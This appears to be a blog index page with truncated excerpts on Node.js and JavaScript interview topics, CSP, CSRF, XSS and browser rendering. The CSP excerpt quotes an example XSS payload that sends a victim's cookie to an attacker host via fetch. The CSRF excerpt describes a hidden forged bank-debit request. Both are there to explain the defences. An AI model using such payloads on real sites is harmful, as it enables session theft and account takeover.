myblog.pk

  Must read Topics for Mid Level Node.js Developer Interview Preparation 1. Core Node.js Fundamentals Node.js Architecture (Single-threaded, Event Loop, Non-blocking I/O)✅ Understanding require and ES Modules ( import/export )✅ Core Modules: fs path os events http / https stream (Readable, Writable, Transform, Duplex) Process Management: process (environment variables, process.nextTick , process.exit ) Handling Uncaught Exceptions Timers ( setTimeout , setInterval , setImmediate ) Working with Buffers Working with the File System ( fs.promises , async/await with fs ) Child Processes ( child_process , exec , spawn , fork ) 2. Package Management with npm and Yarn Managing dependencies ( package.json , package-lock.json )✅ Semantic Versioning ( ^ , ~ , exact versions)✅ Local vs. global packages✅ Scripts in package.json (e.g., npm run dev )✅ Using npx ✅ 3. Asynchronous Programming Callbacks✅ Promises✅ async/await ✅ Event Emitters Streams and Pipelining Error handling in async code...

  What is Content Security Policy (CSP)? Content Security Policy (CSP) is a security feature implemented by browsers that helps protect websites from various types of attacks, particularly Cross-Site Scripting (XSS) . It allows website owners to define which content (like scripts, images, or stylesheets) can be loaded and executed on their website. By setting a CSP , you tell the browser to only load resources from trusted sources and block potentially dangerous content, like malicious scripts injected by an attacker. This adds a strong layer of defense against attacks like XSS. How CSP Helps Prevent XSS Let's revisit the XSS scenario to understand how CSP can mitigate the attack. Recap of XSS Example The Vulnerability : Your website allows users to submit comments. The comments include HTML/JavaScript, which is displayed directly on the page without any sanitization. An attacker injects a malicious script (e.g., fetch('https://attacker-website.com/steal?cookie=' + docume...

  What is Cross-Site Request Forgery (CSRF)? CSRF (Cross-Site Request Forgery) is an attack where a malicious website tricks you into performing actions on a website you're already logged into, without your knowledge. It takes advantage of the fact that your browser automatically sends your login cookies or session tokens with requests, even if you didn’t mean to make them. e.g. Suppose the user logged in to https://my-bank.com in your browser Now the attacker will send you a fake website URL https://myshop.com Where there will be a button : Click here to get the best offers on branded products But there is a hidden request that the attacker has attached on click of the button that request goes to https://my-bank.com/debit?from=34343434&to=434434343&amount=10000 As the request is made cookies will be sent automatically with this request and if the mybank.com server depends only on cookie then it will give success to this request which was made internally in the https:...

  What is Cross-Site Scripting (XSS)? Cross-Site Scripting (XSS) is a vulnerability that allows attackers to inject malicious JavaScript code into a website. When other users visit that website, their browser unknowingly runs the attacker's script. This can lead to data theft, account hijacking, or unwanted actions on behalf of the user. Let's Understand with a Scenario Scenario: A Comment Section with XSS Vulnerability Your Website’s Feature : Your website ( https://my-frontend.com ) has a comment section. Users can post comments, and these comments are displayed on the webpage. The backend stores these comments in a database and renders them in HTML when users visit the page. The Vulnerability : Your website doesn’t sanitize user input . If a user submits any text, your backend or frontend directly displays it as-is on the page, without escaping special characters like < or > . Step-by-Step Attack Step 1: Attacker Identifies the Vulnerability The attacker tests your co...

  What is the Critical Rendering Path? The Critical Rendering Path (CRP) is the sequence of steps that a browser takes to convert HTML, CSS, and JavaScript into pixels on the screen. It focuses on the parts of the page necessary for the initial render , ensuring that content is displayed to the user as quickly as possible. The Critical Rendering Path is essential for web performance optimization because improving these steps can reduce the time it takes for a webpage to become visible and interactive. Why Does the Critical Rendering Path Matter? User Experience : Faster rendering improves the user's experience by reducing the time it takes for the webpage to load. SEO : Search engines like Google prioritize faster websites in their rankings. Performance Optimization : Understanding CRP helps you identify bottlenecks and improve loading speed. Key Steps in the Critical Rendering Path Let’s break down the process into simple steps: 1. HTML Parsing The browser downloads the HTML fi...

Browser Rendering Process The browser rendering process is how a browser takes the HTML, CSS, and JavaScript of a webpage and turns it into pixels that we see on the screen. This involves multiple steps, including parsing , rendering , and handling updates like repaints, reflows, and composition. Let’s go through this process step by step in simple terms. Step 1: Parsing the HTML HTML Parsing: The browser reads the HTML code line by line and converts it into a structure called the DOM Tree (Document Object Model). Example: < div > < h1 > Hello </ h1 > < p > World </ p > </ div > The DOM Tree looks like: < html > < body > < div > < h1 >Hello</ h1 > < p >World</ p > </ div > </ body > </ html > CSS Parsing: The browser reads the CSS and creates a CSSOM Tree (CSS Object Model), which represents the styles applied to each element. Example: h1 { color : red; }...

JavaScript Must-Read Topics for Senior Developer Interviews Core JavaScript Variables and Scoping ( var , let , const ) ✅ Hoisting✅ Closures✅ The Event Loop✅ Promises✅ and Async/Await✅ Callbacks✅ Prototype and Prototypal Inheritance✅ this Keyword and Binding✅ Execution Context and Call Stack✅ Error Handling ( try-catch , finally , custom errors)✅ ES6+ Features (Destructuring✅, Spread/Rest✅, Arrow Functions✅, etc.) Type Coercion and Type Checking ✅ == vs ===  ✅ Object-Oriented Programming in JavaScript (Classes, Constructors)✅ Functional Programming Concepts (Higher-Order Functions✅, Pure Functions✅, Immutability✅) Module Systems ( require , import/export , CommonJS, ESModules)✅ JavaScript Design Patterns (Singleton, Factory, Observer, etc.) Garbage Collection✅ Advanced Topics Currying✅ Memoization✅ Throttling and Debouncing✅ Event Bubbling , Event Capturing and Event Delegation✅ Shadow DOM and Web Components Iterators, Iterables and Generator✅ WeakMap and WeakSet✅ Proxy and...